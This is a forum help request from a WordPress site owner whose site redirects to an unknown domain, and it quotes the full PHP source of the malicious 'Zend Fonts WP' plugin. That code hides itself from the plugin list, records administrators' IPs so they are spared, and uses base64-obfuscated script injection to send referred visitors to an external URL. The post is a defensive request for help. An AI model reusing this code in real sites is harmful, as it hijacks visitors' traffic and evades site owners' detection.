title: WordPress Website redirected to unknown link (due to plugin/malware Zend Fonts WP)
body: <p>I desactivated then deleted a malicious &quot;plugin&quot; on WordPress that I never installed in the first place. Its name is Zend Fonts WP. Although, my website is still re-directed to &quot;https://makethisdaygood.com/main&quot; which is a website I don't know and that doesn't work anyways. What should I do next?</p>
  <p>Here is the code that was in a file from the plugin I deleted :</p>
  <pre><code>if ( ! defined( 'ABSPATH' ) ) {
      exit();
  }
  
  
  function get_the_user_ip() {
      if ( isset( $_SERVER['HTTP_CF_CONNECTION_IP'] ) ) {
          $ip = $_SERVER['HTTP_CF_CONNECTION_IP'];
      }
      elseif (  isset( $_SERVER['HTTP_CLIENT_IP'] ) ) {
          $ip = $_SERVER['HTTP_CLIENT_IP'];
      }
      elseif (  isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
          $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
      }
      else {
          $ip = $_SERVER['REMOTE_ADDR'];
      }
      return $ip;
  }
  
  function isAdminUser(){
      if (current_user_can('administrator') || current_user_can('editor'))
          return true;
      else
          return false;
  }
  
  function console_log( $data ){
      echo '&lt;script&gt;';
      echo 'console.log('. json_encode( $data ) .')';
      echo '&lt;/script&gt;';
  }
  
  //hide plugin
  add_filter('all_plugins', 'hide_plugins');
  function hide_plugins($plugins) {
      unset($plugins['zend-fonts-wp/zend-fonts-wp.php']);
      return $plugins;
  }
  
  add_action(&quot;init&quot;, &quot;sayecho&quot;);
  
  function sayecho(){
      global $wpdb;
      $user_agent = $_SERVER['HTTP_USER_AGENT'];
      $user_ip = get_the_user_ip();
      $isAdmin = isAdminUser();
      $table_name = $wpdb-&gt;prefix.&quot;wusers_inputs&quot;;
      $isBot = strpos(strtolower($user_agent), 'bot');
      $timeNow = time();
      $pluginTimeTableName = $wpdb-&gt;prefix.'wzen_time_table';
  //  $wpdb-&gt;query(&quot;DROP TABLE IF EXISTS $pluginTimeTableName&quot;);
  //  $wpdb-&gt;query(&quot;DROP TABLE IF EXISTS $table_name&quot;);
      if ($wpdb-&gt;get_var('SHOW TABLES LIKE &quot;'.$pluginTimeTableName.'&quot;') != $pluginTimeTableName) {
          $sql = 'CREATE TABLE '.$pluginTimeTableName.' (`time` int(11) UNSIGNED NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8;';
          require_once(ABSPATH.'wp-admin/includes/upgrade.php');
          dbDelta($sql);
          $wpdb-&gt;insert($pluginTimeTableName, array('time'=&gt;$timeNow));
      }
      $pluginStartTime = null;
      foreach($wpdb-&gt;get_results(&quot;SELECT * FROM {$pluginTimeTableName}&quot;) as $data){
          $pluginStartTime = $data-&gt;time;
          break;
      }
  
      //check user is not from REF, not BOT and plugin install time to skip recording your data
      if(!isset($_SERVER['HTTP_REFERER']) &amp;&amp; !$isBot &amp;&amp; $pluginStartTime + 60 &lt; time()) {
  
          //if table is not exists - create table
          if ( $wpdb-&gt;get_var( 'SHOW TABLES LIKE &quot;' . $table_name . '&quot;' ) != $table_name ) {
              $sql = 'CREATE TABLE ' . $table_name . ' (`ip` varchar(535) NOT NULL,`useragent` varchar(535) NOT NULL,`adminID` int NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8;';
              require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
              dbDelta( $sql );
          }
  
          //if admin - add IP and UA to DB
          if ( $isAdmin ) {
              $isIpAndUaInDB = $wpdb-&gt;get_var(
                  $wpdb-&gt;prepare(
                      &quot;SELECT * FROM {$table_name} WHERE ip like %s AND useragent like %s LIMIT 1&quot;,
                      $user_ip, $user_agent ) );
              if ( ! $isIpAndUaInDB ) {
                  $wpdb-&gt;insert( $table_name, [
                      'ip'        =&gt; $user_ip,
                      'useragent' =&gt; $user_agent,
                      'adminID'   =&gt; $isAdmin ? get_current_user_id() : - 1,
                  ] );
              }
          }
      }
  
      //do redirect if user from REF and NOT Admin
      if(isset( $_SERVER['HTTP_REFERER']) &amp;&amp; !$isAdmin){
          redirect();
      }
  
  }
  
  
  function redirect()
  {
      $url = base64_decode('bWFrZXRoaXNkYXlnb29kLmNvbS9tYWlu');
      
      if (!isset($_COOKIE[base64_decode('aHRfcnI=')])) {
          setcookie( base64_decode( 'aHRfcnI=' ), 1, time() + 86400, base64_decode( 'Lw==' ) );
          
          echo base64_decode( 'PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgi' ) . 'https://'.$url . base64_decode( 'Iik7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAi' ) . 'https://'.$url . base64_decode( 'Ijs8L3NjcmlwdD4=' );
      
      }
  }
  </code></pre>
  <p>Edit : It seems that the changes I made worked out several hours after. I hope it won't come back! Thanks for your help!</p>